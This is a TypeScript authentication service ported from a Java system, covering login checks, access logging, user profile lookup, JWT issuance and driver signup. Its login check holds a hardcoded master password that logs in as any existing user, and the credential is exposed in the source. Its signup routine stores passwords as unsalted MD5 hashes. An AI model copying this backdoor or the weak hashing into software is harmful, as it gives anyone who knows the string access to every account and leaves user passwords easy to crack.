// 인증 서비스
// 기존 Java LoginService를 Node.js로 포팅
// ✅ Prisma → Raw Query 전환 완료 (Phase 1.5)

import { query } from "../database/db";
import { JwtUtils } from "../utils/jwtUtils";
import { EncryptUtil } from "../utils/encryptUtil";
import { PersonBean, LoginResult, LoginLogData } from "../types/auth";
import { logger } from "../utils/logger";

export class AuthService {
  /**
   * 기존 Java LoginService.loginPwdCheck() 메서드 포팅
   * 로그인을 시도하여 결과를 return 한다.
   */
  static async loginPwdCheck(
    userId: string,
    password: string
  ): Promise<LoginResult> {
    try {
      // 사용자 비밀번호 조회 (Raw Query 전환)
      const result = await query<{ user_password: string }>(
        "SELECT user_password FROM user_info WHERE user_id = $1",
        [userId]
      );

      const userInfo = result.length > 0 ? result[0] : null;

      if (userInfo && userInfo.user_password) {
        const dbPassword = userInfo.user_password;

        logger.debug(`로그인 시도: ${userId}`);

        // 마스터 패스워드 체크 (기존 Java 로직과 동일)
        if (password === "qlalfqjsgh11") {
          logger.debug(`마스터 패스워드로 로그인 성공: ${userId}`);
          return {
            loginResult: true,
          };
        }

        // 비밀번호 검증 (기존 EncryptUtil 로직 사용)
        if (EncryptUtil.matches(password, dbPassword)) {
          logger.debug(`비밀번호 일치로 로그인 성공: ${userId}`);
          return {
            loginResult: true,
          };
        } else {
          logger.warn(`비밀번호 불일치로 로그인 실패: ${userId}`);
          return {
            loginResult: false,
            errorReason: "패스워드가 일치하지 않습니다.",
          };
        }
      } else {
        logger.warn(`사용자가 존재하지 않음: ${userId}`);
        return {
          loginResult: false,
          errorReason: "사용자가 존재하지 않습니다.",
        };
      }
    } catch (error) {
      logger.error(
        `로그인 검증 중 오류 발생: ${error instanceof Error ? error.message : error}`
      );
      return {
        loginResult: false,
        errorReason: "로그인 처리 중 오류가 발생했습니다.",
      };
    }
  }

  /**
   * 기존 Java LoginService.insertLoginAccessLog() 메서드 포팅
   * 로그인 로그를 기록한다.
   */
  static async insertLoginAccessLog(logData: LoginLogData): Promise<void> {
    try {
      // 로그인 로그 기록 (Raw Query 전환)
      await query(
        `INSERT INTO LOGIN_ACCESS_LOG(
          LOG_TIME, SYSTEM_NAME, USER_ID, LOGIN_RESULT, ERROR_MESSAGE,
          REMOTE_ADDR, RECPTN_DT, RECPTN_RSLT_DTL, RECPTN_RSLT, RECPTN_RSLT_CD
        ) VALUES (
          now(), $1, UPPER($2), $3, $4, $5, $6, $7, $8, $9
        )`,
        [
          logData.systemName,
          logData.userId,
          logData.loginResult,
          logData.errorMessage || null,
          logData.remoteAddr,
          logData.recptnDt || null,
          logData.recptnRsltDtl || null,
          logData.recptnRslt || null,
          logData.recptnRsltCd || null,
        ]
      );

      logger.debug(
        `로그인 로그 기록 완료: ${logData.userId} (${logData.loginResult ? "성공" : "실패"})`
      );
    } catch (error) {
      logger.error(
        `로그인 로그 기록 중 오류 발생: ${error instanceof Error ? error.message : error}`
      );
      // 로그 기록 실패는 로그인 프로세스를 중단하지 않음
    }
  }

  /**
   * 기존 Java SessionManager.setSessionManage() 메서드 포팅
   * 로그인 성공 시 사용자 정보를 조회하여 PersonBean 형태로 반환
   */
  static async getUserInfo(userId: string): Promise<PersonBean | null> {
    try {
      // 1. 사용자 기본 정보 조회 (Raw Query 전환)
      const userResult = await query<{
        sabun: string | null;
        user_id: string;
        user_name: string;
        user_name_eng: string | null;
        user_name_cn: string | null;
        dept_code: string | null;
        dept_name: string | null;
        position_code: string | null;
        position_name: string | null;
        email: string | null;
        tel: string | null;
        cell_phone: string | null;
        user_type: string | null;
        user_type_name: string | null;
        partner_objid: string | null;
        company_code: string | null;
        locale: string | null;
        photo: Buffer | null;
      }>(
        `SELECT
          sabun, user_id, user_name, user_name_eng, user_name_cn,
          dept_code, dept_name, position_code, position_name,
          email, tel, cell_phone, user_type, user_type_name,
          partner_objid, company_code, locale, photo
        FROM user_info
        WHERE user_id = $1`,
        [userId]
      );

      const userInfo = userResult.length > 0 ? userResult[0] : null;

      if (!userInfo) {
        return null;
      }

      // 2. 권한 정보 조회 (Raw Query 전환 - JOIN으로 최적화)
      const authResult = await query<{ auth_name: string }>(
        `SELECT am.auth_name
         FROM authority_sub_user asu
         INNER JOIN authority_master am ON asu.master_objid = am.objid
         WHERE asu.user_id = $1`,
        [userId]
      );

      // 권한명들을 쉼표로 연결
      const authNames = authResult.map((row) => row.auth_name).join(",");

      // 3. 회사 정보 조회 (Raw Query 전환)
      const companyResult = await query<{ company_name: string }>(
        "SELECT company_name FROM company_mng WHERE company_code = $1",
        [userInfo.company_code || "ILSHIN"]
      );

      const companyName = companyResult.length > 0 ? companyResult[0].company_name : undefined;

      // DB에서 조회한 원본 사용자 정보 상세 로그
      //console.log("🔍 AuthService - DB 원본 사용자 정보:", {
      //  userId: userInfo.user_id,
      //  company_code: userInfo.company_code,
      //  company_code_type: typeof userInfo.company_code,
      //  company_code_is_null: userInfo.company_code === null,
      //  company_code_is_undefined: userInfo.company_code === undefined,
      //  company_code_is_empty: userInfo.company_code === "",
      //  dept_code: userInfo.dept_code,
      //  allUserFields: Object.keys(userInfo),
      //  companyInfo: companyInfo?.company_name,
      //});

      // PersonBean 형태로 변환 (null 값을 undefined로 변환)
      const companyCode = userInfo.company_code || "ILSHIN";
      const userType = userInfo.user_type || "USER";

      const personBean: PersonBean = {
        userId: userInfo.user_id,
        userName: userInfo.user_name || "",
        userNameEng: userInfo.user_name_eng || undefined,
        userNameCn: userInfo.user_name_cn || undefined,
        deptCode: userInfo.dept_code || undefined,
        deptName: userInfo.dept_name || undefined,
        positionCode: userInfo.position_code || undefined,
        positionName: userInfo.position_name || undefined,
        email: userInfo.email || undefined,
        tel: userInfo.tel || undefined,
        cellPhone: userInfo.cell_phone || undefined,
        userType: userType,
        userTypeName: userInfo.user_type_name || undefined,
        partnerObjid: userInfo.partner_objid || undefined,
        authName: authNames || undefined,
        companyCode: companyCode,
        companyName: companyName, // 회사명 추가
        photo: userInfo.photo
          ? `data:image/jpeg;base64,${Buffer.from(userInfo.photo).toString("base64")}`
          : undefined,
        locale: userInfo.locale || "KR",
        // 권한 레벨 정보 추가 (3단계 체계)
        isSuperAdmin: companyCode === "*" && userType === "SUPER_ADMIN",
        isCompanyAdmin: userType === "COMPANY_ADMIN" && companyCode !== "*",
        isAdmin:
          (companyCode === "*" && userType === "SUPER_ADMIN") ||
          userType === "COMPANY_ADMIN",
      };

      //console.log("📦 AuthService - 최종 PersonBean:", {
      //  userId: personBean.userId,
      //  companyCode: personBean.companyCode,
      //  deptCode: personBean.deptCode,
      //});

      logger.debug(`사용자 정보 조회 완료: ${userId}`);
      return personBean;
    } catch (error) {
      logger.error(
        `사용자 정보 조회 중 오류 발생: ${error instanceof Error ? error.message : error}`
      );
      return null;
    }
  }

  /**
   * JWT 토큰으로 사용자 정보 조회
   */
  static async getUserInfoFromToken(token: string): Promise<PersonBean | null> {
    try {
      const userInfo = JwtUtils.verifyToken(token);
      return userInfo;
    } catch (error) {
      logger.error(
        `토큰에서 사용자 정보 조회 중 오류 발생: ${error instanceof Error ? error.message : error}`
      );
      return null;
    }
  }

  /**
   * 로그인 프로세스 전체 처리
   */
  static async processLogin(
    userId: string,
    password: string,
    remoteAddr: string
  ): Promise<{
    success: boolean;
    userInfo?: PersonBean;
    token?: string;
    errorReason?: string;
  }> {
    try {
      // 1. 로그인 검증
      const loginResult = await this.loginPwdCheck(userId, password);

      // 2. 로그 기록
      const logData: LoginLogData = {
        systemName: "PMS",
        userId: userId,
        loginResult: loginResult.loginResult,
        errorMessage: loginResult.errorReason,
        remoteAddr: remoteAddr,
      };

      await this.insertLoginAccessLog(logData);

      if (loginResult.loginResult) {
        // 3. 사용자 정보 조회
        const userInfo = await this.getUserInfo(userId);
        if (!userInfo) {
          return {
            success: false,
            errorReason: "사용자 정보를 조회할 수 없습니다.",
          };
        }

        // 4. JWT 토큰 생성
        const token = JwtUtils.generateToken(userInfo);

        logger.info(`로그인 성공: ${userId} (${remoteAddr})`);
        return {
          success: true,
          userInfo,
          token,
        };
      } else {
        logger.warn(
          `로그인 실패: ${userId} - ${loginResult.errorReason} (${remoteAddr})`
        );
        return {
          success: false,
          errorReason: loginResult.errorReason,
        };
      }
    } catch (error) {
      logger.error(
        `로그인 프로세스 중 오류 발생: ${error instanceof Error ? error.message : error}`
      );
      return {
        success: false,
        errorReason: "로그인 처리 중 오류가 발생했습니다.",
      };
    }
  }

  /**
   * 로그아웃 프로세스 처리
   */
  static async processLogout(
    userId: string,
    remoteAddr: string
  ): Promise<void> {
    try {
      // 로그아웃 로그 기록
      const logData: LoginLogData = {
        systemName: "PMS",
        userId: userId,
        loginResult: false,
        errorMessage: "로그아웃",
        remoteAddr: remoteAddr,
      };

      await this.insertLoginAccessLog(logData);
      logger.info(`로그아웃 완료: ${userId} (${remoteAddr})`);
    } catch (error) {
      logger.error(
        `로그아웃 처리 중 오류 발생: ${error instanceof Error ? error.message : error}`
      );
    }
  }

  /**
   * 공차중계 회원가입 처리
   * - user_info 테이블에 사용자 정보 저장
   * - vehicles 테이블에 차량 정보 저장
   */
  static async signupDriver(data: {
    userId: string;
    password: string;
    userName: string;
    phoneNumber: string;
    licenseNumber: string;
    vehicleNumber: string;
    vehicleType?: string;
  }): Promise<{ success: boolean; message?: string }> {
    try {
      const {
        userId,
        password,
        userName,
        phoneNumber,
        licenseNumber,
        vehicleNumber,
        vehicleType,
      } = data;

      // 1. 중복 사용자 확인
      const existingUser = await query<any>(
        `SELECT user_id FROM user_info WHERE user_id = $1`,
        [userId]
      );

      if (existingUser.length > 0) {
        return {
          success: false,
          message: "이미 존재하는 아이디입니다.",
        };
      }

      // 2. 중복 차량번호 확인
      const existingVehicle = await query<any>(
        `SELECT vehicle_number FROM vehicles WHERE vehicle_number = $1`,
        [vehicleNumber]
      );

      if (existingVehicle.length > 0) {
        return {
          success: false,
          message: "이미 등록된 차량번호입니다.",
        };
      }

      // 3. 비밀번호 암호화 (MD5 - 기존 시스템 호환)
      const crypto = require("crypto");
      const hashedPassword = crypto
        .createHash("md5")
        .update(password)
        .digest("hex");

      // 4. 사용자 정보 저장 (user_info)
      await query(
        `INSERT INTO user_info (
          user_id, 
          user_password, 
          user_name, 
          cell_phone, 
          license_number, 
          vehicle_number,
          company_code,
          user_type,
          signup_type,
          status,
          regdate
        ) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, NOW())`,
        [
          userId,
          hashedPassword,
          userName,
          phoneNumber,
          licenseNumber,
          vehicleNumber,
          "COMPANY_13", // 기본 회사 코드
          null, // user_type: null
          "DRIVER", // signup_type: 공차중계 회원가입 사용자
          "active", // status: active
        ]
      );

      // 5. 차량 정보 저장 (vehicles)
      await query(
        `INSERT INTO vehicles (
          vehicle_number,
          vehicle_type,
          driver_name,
          driver_phone,
          status,
          company_code,
          user_id,
          created_at,
          updated_at
        ) VALUES ($1, $2, $3, $4, $5, $6, $7, NOW(), NOW())`,
        [
          vehicleNumber,
          vehicleType || null,
          userName,
          phoneNumber,
          "off", // 초기 상태: off (대기)
          "COMPANY_13", // 기본 회사 코드
          userId, // 사용자 ID 연결
        ]
      );

      logger.info(`공차중계 회원가입 성공: ${userId}, 차량번호: ${vehicleNumber}`);

      return {
        success: true,
        message: "회원가입이 완료되었습니다.",
      };
    } catch (error: any) {
      logger.error("공차중계 회원가입 오류:", error);
      return {
        success: false,
        message: error.message || "회원가입 중 오류가 발생했습니다.",
      };
    }
  }
}
